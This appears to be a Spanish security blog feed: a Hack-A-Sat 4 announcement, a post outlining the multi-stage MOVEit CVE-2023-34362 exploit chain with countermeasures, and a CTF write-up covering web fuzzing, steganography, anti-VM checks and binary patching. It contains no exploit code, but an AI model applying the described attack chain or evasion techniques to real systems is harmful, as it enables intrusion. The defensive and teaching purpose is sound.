https://aerospace.org/sites/default/files/2023-04/AK23_114_Fact%20Sheet_Moonlighter_REVB.pdf

Este proyecto forma parte de Hack-A-Sat 4, una competición anual respaldada por Aerospace, las Fuerzas Aérea y Espacial de EE. UU. y diseñada para inspirar a los mejores talentos del mundo a desarrollar las habilidades necesarias para ayudar a reducir las vulnerabilidades y construir sistemas espaciales más seguros. Los cinco equipos finalistas de Hack-A-Sat 4 tendrán la oportunidad de hackear el CubeSat en órbita durante la próxima conferencia DEFCON del 11 al 13 de agosto en Las Vegas, en un CTF de ataque-defensa con $100,000 en premios.

Noticias:
- https://www.issnationallab.org/spx28-moonlighter-cubesat-afrl/
- https://www-theregister-com.translate.goog/2023/06/03/moonlighter_satellite_hacking/
- https://www.electronicsweekly.com/news/on-orbit-satellite-moonlighter-features-in-hack-a-sat-4-space-security-challenge-2023-04/

I like to move it, move it... (CVE-2023-34362)

$
0
0

A finales de mayo de 2023 saltaron las alarmas con la noticia de que la banda de ransomware Cl0p estaba explotando varios exploits (hasta tres) para entrar en servidores que ejecutaban el front-end web de MOVEit, un producto de Progress Software que permite compartir ficheros de forma segura. 

 

En esas fechas, encontrábamos algo más de 2500 instancias públicas en Shodan y más de 200 organizaciones se sumaban a la lista de afectadas por los ataques, aunque ciertos rumores comentan que las vulnerabilidades podrían haber estado siendo explotadas desde 2021.

La vulnerabilidad crítica es la catalogada como CVE-2023-34362 y es un SQLi, si bien hay varias etapas para poder explotar con éxito el servidor MOVEit. Empieza con un bypass de autenticación donde se usa guestaccess.aspx para crear una sesión y leer tokens CSRF. Estos elementos de sesión luego se combinan con una inyección de encabezados HTTP o una técnica de smuggling para eludir cualquier restricción de autenticación e IP, lo que permite el acceso a moveitisapi.dll, que luego se usa para realizar la inyección SQL.

La inyección de SQL se usa para leer datos confidenciales de la base de datos y luego para crear nuevas cuentas de administrador del sistema que luego se pueden usar para otras tareas con un mayor nivel de permiso. La etapa final del exploit es una vulnerabilidad de deserialización de .NET en un proceso de upload que se puede abusar para obtener la ejecución remota de código.  

¿El problema (o la bendición)? que ya tenemos las PoC totalmente funcionales en Ruby o Python. Los pasos para explotarlo son los siguientes:

1. Bypassear los controles de acceso remoto sobre las cuentas de Sysadmin y crear un nuevo Sysadmin utilizando la vulnerabilidad principal de SQLi
2. Recopilación de datos sobre la clave API y una ID de carpeta
3. Comenzar una subida de archivo reanudable que se puede interrumpir para que se genere una ID de archivo y se almacene en la base de datos
4. Uso de la subida interrumpida del archivo para filtrar la clave de cifrado (denominada clave de organización)
5. Uso de la clave de organización para cifrar un gadget de deserialización generado previamente
6. Subir el gadget de deserialización cifrado (creado con yoserial) a la base de datos usando la ID del archivo como ID de referencia
7. Activar el gadget de deserialización llamando al ID de archivo
8. Limpieza de la base de datos mediante la eliminación de IoC en función de las actividades del exploit

Contramedidas

Varios fabricantes e investigadores como Mandiant, Florian Roth, y Huntress Labs ya han lanzado detecciones, IoCs y Yaras.
El proveedor ha publicado un aviso que recomienda algunas acciones, especialmente si tiene instalada una versión anterior de MOVEit.

  • Modificar las reglas del firewall para denegar el tráfico HTTP y HTTPS a la aplicación MOVEit Transfer en los puertos 80 y 443 hasta que se aplique un parche.
  • Revisar todas las cuentas de usuario en MOVEit y asegurarse de que los privilegios se asignen correctamente y que se eliminen las cuentas no utilizadas o no autorizadas.
  • Comprobar y eliminar sesiones activas.
  • Buscar nuevas creaciones de archivos en C:\Windows\temp\ y C:\MoveitTransfer\wwwroot\, especialmente para archivos con una extensión [.]cmdline.
  • Eliminar todos los archivos APP_WEB_[random].dll ubicados en C:\Windows\Microsoft. NET\Framework64\[versión]\ASP temporal. Archivos NET\raíz\[aleatorio]\[aleatorio]\

Pero sobretodo asegurarse de que la versión de MOVEit sea superior a 2023.0.1, es decir, ¡actualizar o morir!

Referencias:


FeelTheM7 Writeup oficial

$
0
0
No hace mucho me llegaba un interesante reto de un compi, Miguel Moreno aka M7, en la siguiente URL:

 

Como tantas veces y tantos "sujétame el cubata" me puse con ello y he de decir que me pareció muy completo y divertido. Así que antes de leer su writeup oficial traducido a la lengua de Cervantes por el muá tito Vis0r (en feliz equipo con Google Translator) te recomiendo sentarte e intentar resolverlo por ti mismo...

... si ya lo has resuelto o eres algo impaciente go ahead!:
 
Layer 1- Hacking web 
 
Empecemos.Lo primero que verás cuando abras el sitio web será una landing page paradescargar un archivo comprimido llamado caja de Pandora.Se te dará un consejo debajo de la descarga pero ten cuidado porque es la primera trampa del reto.Después de insertar la llamada a la función en la consola del navegador, se te redirigirá a never gonna to give you up song, para resumir seras "rick rolled"

Layer 1.1 - Bypasseando las protecciones web

Para evitar que el reto nos redirija, primero debemos entender por qué sucede esto.Inspeccionando el código fuente de la web, veremos que después de las importaciones de bootstrap, un JS (JavaScript)script también se carga:

Entonces debemos inspeccionar este código, después de verificar, varias funciones necesarias para cargar la página, seguro que se nos ocurrirá echar un ojo a la función del tip givemeTheFirstPassword():

En esta función podemos ver que una sentencia if está comprobando que la variable booleana trollme es verdadera,si es cierto redirigirá al rick roll si no devuelve el resultado de darle el const pass ala función decodeBinary.Aquí podemos tomar dos enfoques diferentes para decodear la contraseña.

Layer 1.1.1 – La manera fácil

La forma más fácil será copiar el contenido de la constante de pass (porque se define dentro delcontexto de la función, no será posible llamarlo directamente desde la consola) y pasarlo alfunción de decodificación, esto devolverá la contraseña:

Layer 1.1.2 – La manera elegante

Este segundo layer es para la forma elegante de resolver esta parte, porque tendrás al menos conocimiento básico de JS y desarrollo web.Si sabes cómo se ejecuta JS en el navegador, tu primera idea será cambiar el valorde la variable trollme, bien, este es un buen punto de partida, pero pasará esto:


Se generará una alerta y se te redirigirá nuevamente al rick roll.Bueno, si revisas JSscript.js no hay evidencia de un interval (así es como se llaman las tareas programadas de JS).Sin embargo, sisuponemos que hay algo comprobando si la variable trollme ha cambiado, debe serdeclarado en el HTML principal o en otro script importado del HTML principal.

Justo después de la importación del script.js podemos ver la declaración de otro script.Esto creará un interval para verificar si la variable trollme ha cambiado, podemos destruir este intervalo con el operador JS clearInterval(), eliminar esto y luego cambiar la variable recuperará el primer resultado del reto:


Layer 2 - Web fuzzing

Después de descifrar la primera capa con la primera contraseña, encontraremos la segunda capa del desafío (nota: en el nombre verá la capa 3, esto es un error de la parte del autor, pero decidió dejarlo, porque se dio cuenta mientras muchas personas lo intentaban y eso podía causarmalentendidos):

No hay pistas de dónde está la contraseña en el archivo comprimido y, como dijimos en la introducción, este reto es investigar, no hay ninguna guía, pero si revisaste todo el script.js, deberías haber notado algo extraño.Justo antes de la función decodeBinary hay otra función llamada downloadWordList().Si llamas a esta función, comenzará la descarga de una lista de palabras:


Lo primero que se te ocurrirá será bruteforcear la contraseña del archivo comprimido con hashcat o alguna otra herramienta.Pero primero debemos verificar cuál es el contenido de la lista de palabras.Si revisamos las palabras, veremos que el contenido del archivo es, de hecho, nombres de endpoints web, esto se puede ver, por ejemplo, en el nombre ".config", ".bash_history" nombres de archivos ocultos que generalmente se pueden encontrar enmáquinas UNIX. 

En resumen, esto nos está dando la pista de que se debe realizar un fuzzing de directorios en la página web para encontrar algo.Aquí al igual que en la primera capa tiene dos enfoques diferentes. 

Layer 2.1: solución más rápida 

Esta primera solución requerirá un poco de conocimiento de GitHub.Si revisas el dominio de la página web, verás que esta página está alojada en GitHub (https://mimorep.github.io/FeelTheM7/).Si tienes experiencia en alojar páginas web en GitHub, sabrás que esto alojará una página web dentro de un repositorio.Si el usuario no paga elpremium de GitHub, el repositorio, será público para alojar la página.Para conocer la dirección del repositorio, debemos construir la URL teniendo en cuenta lo siguiente:

  • https://github.com/<username>/<repositoryName>
  • https://<username>.github.io/<repositoryName>/ 

Entonces teniendo esto en consideración la URL del repositorio, si el usuario no tiene una cuenta premium será: 

  • https://github.com/mimorep/FeelTheM7 

Ahora que tenemos el repositorio, solo tenemos que ir a la carpeta de páginas web (tenga en cuenta que esta está presente en la lista de palabras) y veremos el código fuente de ambas páginas:

si inspeccionamos ambas páginas, veremos en el archivo surrender.html la contraseña de la segunda capa hardcodeada:

Pero en este caso, a pesar de ser una solución legítima, recomiendo más la solución normal, por ser más realista. 

Layer 2.2 – Solución normal 

Para esta solución, deberíamos realizar un "dir fuzzing" en la página web.En mi caso, usaré la herramienta dirbuster (puede usar su herramienta favorita en su lugar, esta si lo prefieres).

 
Como se puede ver en la anterior imagen, la ruta “FellTheM7/web-pages/top-secret” devuelve un código OK (200), si hemos descubierto una ubicación secreta en la página web (descartaremos rutas comocomo el favicon).Por ejemplo, si usamos gobuster en su lugar, los resultados serán mucho más rápidos, pero solo obtendremos el endpoint principal de la solución:

Si navegamos hasta el endpoint descubierto "web-pages/top-secret.html", se encontrará la siguiente página de destino:

Como sugiere el tip, cuando se crean endpoints sensibles, se debe tener en cuenta los diccionarios y evitar usar rutas conocidas, pero tened en cuenta que la seguridad por ocultación no es seguridad.Teniendo esta página si inspeccionamos el código, encontraremos un comentario bastante inusual:

Como podemos ver, el .html está comentado, pero si eliminamos el comentario, la frase resultará:“Never surrender.html”, así que coloquemos esa página en la URL:

Como puedes ver, se recupera la contraseña y se completa este reto.

Layer 3 - grep file

Probablemente, esta es el nivel más fácil de todo el reto.Después de descifrar la capa zip con la contraseña del ejercicio anterior, los siguientes archivos se encontrarán en la tercera capa:

Aquí habrá nuevamente otro archivo comprimido protegido por contraseña y, en este caso, un archivo de texto con el nombre GrepMeBBy.txt con el contenido:

Como bien sugiere el nombre, la solución de este reto es simplemente ejecutar comandos grep (u otras formas de encontrar cadenas en grandes archivos txt sin formato), para encontrar la contraseña correcta.Por ejemplo, si encontramos por “contraseña” encontraremos el primer bait del ejercicio:

Sí, una solución será encontrar cada frase que creamos que podría estar antes del token real, pero en este ejercicio, tenemos que ser más inteligentes que eso.Con el primer match podemos ver un patrón: 

 <nombre_clave> : {<token>} 

Entonces, podemos hacer una búsqueda con expresiones regulares para obtener todas las cadenas coincidentes y obtener todo de una vez.En este caso, la expresión regular que usaremos es: 

\:\{.*?\} 

Eso devolverá todo carácter o número que esté entre paréntesis y antes de ellos dos puntos (esto será necesario, para ser más precisos con la búsqueda).Con esta expresión regular, se recuperarán todos los baits y la contraseña correcta (tened en cuenta que en lugar de grep se está usando VS Code, pero los resultados deberían ser los mismos):

Como se puede ver en la imagen anterior, no se encuentran contraseñas con la expresión regular.Pero se encuentra un buen descubrimiento, si revisas el resultado de la clave token te diría lo siguiente: 
 
token:{DidYouReallyThinkItWouldBeThatEasy,ThinkLikeAHacker?}
 
Los profesionales de ciberseguridad y los hackers siempre le dicen a los usuarios que creen contraseñas seguras, una de las sugerencias más comunes es lo que se conoce como “las contraseñas de los hackers” o "contraseñas con cambios" que consiste en intercambiar algunos de los caracteres de la contraseña por unos especiales. 
 
Un ejemplo será cambiar "a" por "@" o cambiar "o" por "0".Aplicando esta técnica, la clave "token" dará como resultado "t0k3n" y si encontramos esto en el archivo, obtendremos la contraseña real. 
 
Tened en cuenta que el resultado está contenido entre "[]" en lugar de "{}" como el otro para hacer las cosas más complicadas:

Layer 4 – Stego Forensics

Después de descifrar la capa 3 con la contraseña, verás algo interesante.En este caso, no habrá más archivos comprimidos dentro, en su lugar, estará presente un archivo .wav familiar:

Lo primero que debemos hacer, como investigadores forenses, es verificar dos veces si el archivo es lo que dice (nunca ejecuteis archivos sin saber qué son).Para hacerlo, debemos buscar el número mágico del archivo (estos bytes son utilizados por el sistema operativo para identificar el binario que abrirá el archivo):

Como se puede ver en la imagen el archivo es lo que sugiere, un archivo WAV.Si reproducimos el archivo wav, se reproducirá un sonido familiar, sí, es un rickroll nuevamente.Pero si asumes que debes ser “rickrolled” y escuchar la canción, puedes notar que en algunas partes de la canción hay demasiado ruido. 

Y otra cosa que puede venir a tu mente será, realmente 10 MB para una canción de solo 1 minuto en formato wav y con esta calidad de mierda, algo extraño está sucediendo aquí. 

Ahora abramos el archivo .wav con "Audacity" para inspeccionar el sonido.

Si prestas atención, se pueden ver dos grandes crestas en la forma de onda, estas dos coinciden con el ruido que se escucha al reproducirlo (te recomiendo que reproduzcas esto por secciones), eso te dará una pista de que algo se esconde allí.con estenografía.Para ver lo que hay en las crestas, podemos usar la vista de espectrograma de Audacity, y se encontrarán algunos resultados interesantes:


Sé que ahora estarás pensando, para qué una contraseña, ya no quedan archivos comprimidos.Es posible que haya descubierto que el archivo es demasiado grande para solo un minuto de audio, pero si no es así, "extractTool.html" le dará la pista, sí, el siguiente archivo comprimido está dentro del archivo WAV.Para descargar la herramienta de extracción (también puede usar una que ya tenga), deberás ir nuevamente a la página:

https://mimorep.github.io/FeelTheM7/endpoints/extractTool.html

Se iniciará una descarga automática y se colocará un programa de python en su máquina.El contenido de la herramienta no estará terminado y será tu trabajo terminar el script:

Una solución final del script puede ser como la siguiente (pero hay muchas opciones disponibles):

Con esto, podremos extraer el último archivo comprimido y descifrarlo con lacontraseña. 

Layer 5: parcheo y reversing. 

Una vez que finalmente hayas recuperado el archivo comprimido, el contenido será:

Como puedes ver, este parece ser el último reto y de hecho lo es.Este es un binario simple que tendremos que reversear o parchear para obtener la solución final y la forma de reclamar tu lugar en el salón de la fama. 

Si ejecutas el binario (no te preocupes, no es malware, pero si no me crees puedes pasar el hash a Virus Total o herramientas similares, se ha subido a VirusTotal, es posible que algunos proveedores detecten el binario como malware,pero como lo vas a reversearlo vas a vereso no es malware en absoluto). 

El programa está escrito en código C y compilado con Visual Studio Compiler, la decisión de crear el programa en código C es solo para hacer que el reversing sea un poco más complicado (C es conocido como uno de los códigos más difíciles de reversear, por seruno de los lenguajes de programación de más bajo nivel). 

El código fuente se muestra aquí, no será accesible durante el reto porque está precompilado, pero creo que es un buen punto para proporcionar el código para una mejor comprensión de su comportamiento.

Layer 5.1 – Comprender el código fuente. 
 
En esta sección, se presentará desde cero el código fuente del programa que tuvo que ser reverseado, esto se hace para dar una mejor comprensión de cómo abordar un análisis adecuado y verel reto desde el lado del desarrollo de malware. 
 
Lo primero que debe hacer un desarrollador de malware es verificar si su software está siendo analizado por un reverser, esto se puede realizar con varios métodos: verificar los indicadores de depuración, crear un segundo proceso para verificar el principal, verificar entornos de reversing... 
En este caso como digo antes, esta pieza es simple por lo que solo nos fijaremos en el número de núcleos de la máquina que está ejecutando el programa:

Generalmente, los reversers utilizan entornos virtuales para probar el malware, por lo general, si elreverser no tiene suficiente experiencia, no cambiará la configuración de la máquina para que parezca unnormal.

Considerando que las máquinas normales tienen cuatro o más núcleos de CPU, si la máquina tenía dos o másmenos núcleos, podríamos suponer que es una máquina virtual, y no nos interesará dejarel código pasar por el flujo normal. 

En una situación real, no informaremos al reverser quesabemos que es una máquina virtual, haremos las tareas normales para ocultar el payload real del malware. 

Aquí también se realiza otra verificación, el "#" es un operador reservado en código C, que se usa para definirinstrucciones precompiladas.En este caso, estamos revisando la distro del host, si no es WIN32(host de Windows) también evitará la ejecución.Pero en este caso, no tiene sentido esta verificación, porque el binario está compilado puramente para Windows (tiene dependencias de WinAPI), esto se puede ver ejecutando un comando de archivo en el binario.

A veces, si solo queremos identificar rápidamente los IOC (indicadores de compromiso), lo más fácil es simplemente ejecutar strings en el binario.Strings es una herramienta nativa en la mayoría de las máquinas UNIX,pero para hosts de Windows deberemos descargarlo de sysinternals.Esta herramienta extrae todas las cadenas contenidas en el binario, y quizás podremos encontrar si no está bien protegido un beacon o alguna otra información útil.


Al ejecutar esto, recuperaremos información útil, pero el autor había hecho una técnica para evitar que esto sucediera.

Solo con esta información, el objetivo es más claro, se pueden extraer las siguientes conclusiones: 
  • Hay una URL en alguna parte del binario (podemos ver el https://). 
  • El proceso de parcheo parece tener dos partes (hay una frase que nos dice "Algofalta para completar el desafío”). 
  • Podemos ver la sentencia anti VM. 
  • Parece que el resultado final estará en un archivo con el nombre FeelTheM7.txt creado enla misma ruta de ejecución (“./”). 
Pero ahora sé que estás preguntando "¿cómo diablos no está el token en una cadena?".Me gustaría decirque la respuesta es simple pero no es tanto.Déjame presentarte de nuevo eloperador ”#” reservado en C.

Como se comentó antes, el operador “#” está reservado en C para definir operaciones de precompilación.En este caso, el programa está creando tres funciones, para ocultar el contenido de la cadena y luego en la precompilación del binario, esto se denomina técnicamente "macros". 

Solo para resumir, la función HIDE_LETTER reemplazará la letra por otra basada en su código de operación, para luego ser reconstruida con UNHIDE_STRING.Un array con el resultado final contiene la cadena oculta durante el tiempo de ejecución, pero no mostraré el contenido de este array, al final el objetivo de este ejercicio es aprender, por lo que no se proporcionará el resultado final.

Pasemos ahora a la parte principal del programa.En esta parte encontraremos una declaración if que evita que ocurra la ejecución, esta será la tarea para parchear esta instrucción y permitir que el flujo del programa continúe:

Esto desbloqueará la parte final del reto.Ahora necesitaremmos revertir el código y comprender lo que está sucediendo aquí.El programa buscará un archivo específico llamado FeelTheM7.txten caso de que esté en la misma ruta que el binario, mostrará la solución y la escribirá en este archivo.

Ahora centrémonos en cómo podemos analizar el binario con otras técnicas.

Layer 5.2: reversear y parchear el binario. 

En esta sección partiremos del análisis de strings realizado en la sección anterior ytienen dos partes diferenciadas, la estática y la dinámica.Tened en cuenta que la solución se puede obtener con ambas técnicas, y podemos elegir lo que queramos.

Generalmente el análisis dinámico es más fácil, pero también más inseguro (al final estásejecutando el binario), si me preguntas, un buen reverser siempre elegirá el estático, a menos queel tiempo vaya en contra (pero la solución perfecta será usar ambos). 

Layer 5.2.1 – Análisis estático 

Para el análisis estático, usaremos en este caso Ghidra, ¿por qué?Porque es gratis y cualquiera puedetenerlo. IDA por ejemplo, a pesar de ser para mi mejor, tiene una versión de pago que no es accesible paratodos. 

Después de crear el proyecto con el binario, simplemente arrastramos el binario a la carpeta y lo soltamos, Ghidradetectará automáticamente la necesidad de su configuración:


Analiza el binario con la configuración predeterminada, espera hasta que finalice la ejecución y ahora estamoslistos para empezar.

Si recordamos el resultado de las strings, de la parte anterior, ya sabemos algunosde las cadenas clave. 

Vayamos a "Felicidades, llegaste hasta aquí, ¿serías capaz de¿Omitir esta declaración if?(presionamos la tecla "S" para abrir el indicador de búsqueda), porque pareceser la primera cadena mostrada (podemos verificar esto dos veces ejecutando el binario en un entorno seguro).

Después de buscar la cadena, debemos hacer doble clic en FUN_00401030:00401048, porque allí está la referencia donde se está utilizando la cadena.


En este punto, lo suyo es abrir la vista de gráfico (más rollo IDA), pero si te sientes más cómodo con la otra vista, usa la que más te guste.Para el flujo del binario, parece que estamos en la función principal del programa (todavía tenemos que verificar esto dos veces, pero la estructura del programa parece estar bien).

Para comprender mejor el flujo de ejecución, podemos reorganizar los cuadros (siempre se recomienda cambiar el nombre de algunos cuadros si conocemos su comportamiento, por ejemplo, aquí cambia el nombre del cuadro de salida a FIN), por ejemplo, para que parezca que la instrucción Next fuera una instrucción If que está saliendo de la ejecución del programa:

Podemos ver claramente que el cuadro superior izquierdo es el punto de entrada de la función principal, donde el programa nos felicita por haber llegado tan lejos, luego se detecta una declaración if clara (JNZ).Este comparará el valor de DAT_0041618 y dependiendo del valor saltará al “Parece que tú…” que luego saltará a la salida del programa. 

Si prestamos la debida atención veremos que el recuadro inferior izquierdo tiene una cadena con el nombre “Lo estás haciendo bien” esta parece claramente la ruta por la que queremos enviar el programa, de lo contrario elterminará la ejecución. 

El condicional del salto se realiza con un JNZ (Jump non Zero), por lo que para puentear y parchear esta parte tenemos dos opciones: 

  • Cambiar el JNZ por JMP, esto saltará siempre a la casilla que queramos.
  • Cambiar el JNZ a JZ (Jump Zero), ya que sabemos que el binario nunca salta a esa parte, la inversión de la comparación de los valores también realizará el salto. 
Una vez que hayamos localizado el salto a realizar, invertiremos la instrucción, en este caso, cambiando el JNZ a JZ (en el LAB_004107d), para parchear la instrucción if:
Ahora simplemente exportamos el programa compilado y verificamos cómo ha cambiado el flujo de la instrucción if:
 

La salida del programa, ahora nos dirá que falta algo más para completar el reto, por lo que debemos seguir bajando en el flujo del programa para descubrir de qué se trata:
 
 
Si seguimos buscando el flujo del programa, encontraremos la definición de un file handler, esto lo podemos ver si observamos la llamada a la API de Kernel32.dll que se está realizando (->KERNEL32.DLL::FindFirstFileA),si buscamos este método en el documento oficial de Microsoft podemos ver que este método busca un archivo o directorio con el nombre dado. 
 
Comprobando el flujo, podemos ver claramente los dos flujos diferentes del controlador, el primero sería el de error y redirigirá el flujo de programas a la salida del programa, el otro manejará la ejecución real.
 
 
Si nos fijamos en el cuadro inferior, una cadena "FeelTheM7.txt" y luego vemos la operación strcmp (comparación de cadenas).Con toda esta información y sabiendo cómo funciona el método FindFirstFileA podemos decir claramente que el programa está buscando un archivo con el nombre FeelTheM7.txt. 
 
Sigamos mirando lo que hace el programa, el siguiente bloque que vemos contiene la siguiente cadena “Felicitaciones, completaste…” para que podamos confirmar nuevamente que este es el camino que estamos buscando. 
 
Después de ver esa cadena en el último bloque, se usa la instrucción "fopen" en el archivo“FeelTheM7.txt”, por lo que el programa escribe algo en el archivo y luego cierra el identificador y finaliza la ejecución.
 
 
Tomemos el enfoque más fácil, sabemos que el programa busca un archivo con el nombre "FellTheM7.txt" y escribe algo (que está claramente ofuscado) en él, así que creemos el archivo y ejecutemos el binario parcheado:


 
Si, es así de simple, el reto está resuelto (evidentemente el resultado final está pixelado).
 
Os animo a que lo probéis por vosotros mismos
 
Layer 5.2.2 - Análisis dinámico 
 
Como os dije en la primera parte, siempre prefiero el análisis estático, para mí es más divertido, pero el análisis dinámico es muchas veces la forma más rápida, así que profundicemos en esta solución. 
 
En este caso, mantengo la premisa de usar herramientas libres, estaré usando un  depurador x64. 
 
Después de arrastrar y soltar el binario al programa, lo primero que haremos será buscar cadenas, las extraídas antes.
 
 
Al igual que en el análisis estático, buscaremos la cadena "Felicitaciones, llegaste tan lejos..." y verificaremos el código ensamblador de esa sección.Establezcamos un punto de interrupción aquí, para detenernos justo antes de que se imprima el mensaje:
 
 
Si ahora analizamos con detalle las instrucciones, lo que parece ser un if estará ubicado en el offset 00971055, donde se está comparando algo, y dependiendo del resultado de la comparación se da un salto.Si el resultado es cero, podemos ver que los flujos van a una sección donde se imprime la cadena “Parece que…”, pero si no es cero, irá a una sección donde se imprime la cadena “Lo estás haciendo bien, sigue”. 
 
Entonces, cambiemos la instrucción a la inversa:
 

 
Si lo hemos hecho correctamente, el flujo del programa cambiará y estaremos ahora en la siguiente sección, donde queremos estar:
 
 
Si continuamos con el programa, aparecerá la frase “Falta algo para completar el desafío”, por lo que debemos reiniciar la ejecución y encontrar lo que sigue para parchear.Para entender lo que está pasando, debemos "entrar" en algunas instrucciones de llamadas.Después de haber verificado todo el código ensamblador, concluiremos que esta cadena siempre se imprimirá después de parchear la instrucción if. 
 
Si continuamos desplazándonos sobre la ejecución del programa, veremos la llamada del método WinAPI "FindFirstFileA" y una cadena con el nombre que es el programa encontrando:
 
 
Entonces, en este punto, sabemos que el programa está buscando un archivo con el nombre "FeelTheM7.txt", si seguimos depurando la ejecución, veremos que, de hecho, estamos dentro de un bucle donde el programa está verificando cadaarchivo del directorio, para ver si "FeelTheM7.txt" está presente. 
 
Hagamos lo mismo que en la parte estática, creemos el archivo FeelTheM7.txt”, para que el depurador vaya por la ruta correcta. 
Después de hacerlo, el flujo cambiará y aparecerá un mensaje indicándonos que elel resultado está en el archivo se le pedirá:
 
 
Si continuamos con el flujo del programa, entraremos en un gran bucle, antes de que se cierre el handler del archivo; de hecho, este es el proceso de desofuscación de la solución final (recuerda que la solución final está ofuscada y no se puede encontrar en las cadenas).
 

Una vez finalizado el bucle, la cadena de resultados se deofuscará y se imprimirá dentro del archivo “FeelTheM7.txt”, siendo esta la solución final del reto.

Conclusión 

Feel the M7 es mi primer reto de ciberseguridad de M7, que se realiza solo con fines educativos y para preparar a las personas para escenarios del mundo real, donde esta tarea se convertirá en la base diaria de un ingeniero forense o reverser. 

Si tienes alguna duda/sugerencia sobre el reto, puedesponte en contacto con el autor a través de LinkedIn. 

¡Recuerda permanecer siempre del lado de la luz y disfrutar! 

Nos vemos en el salón de la fama. 

 ~ El M7

Viewing all 1664 articles
Browse latest View live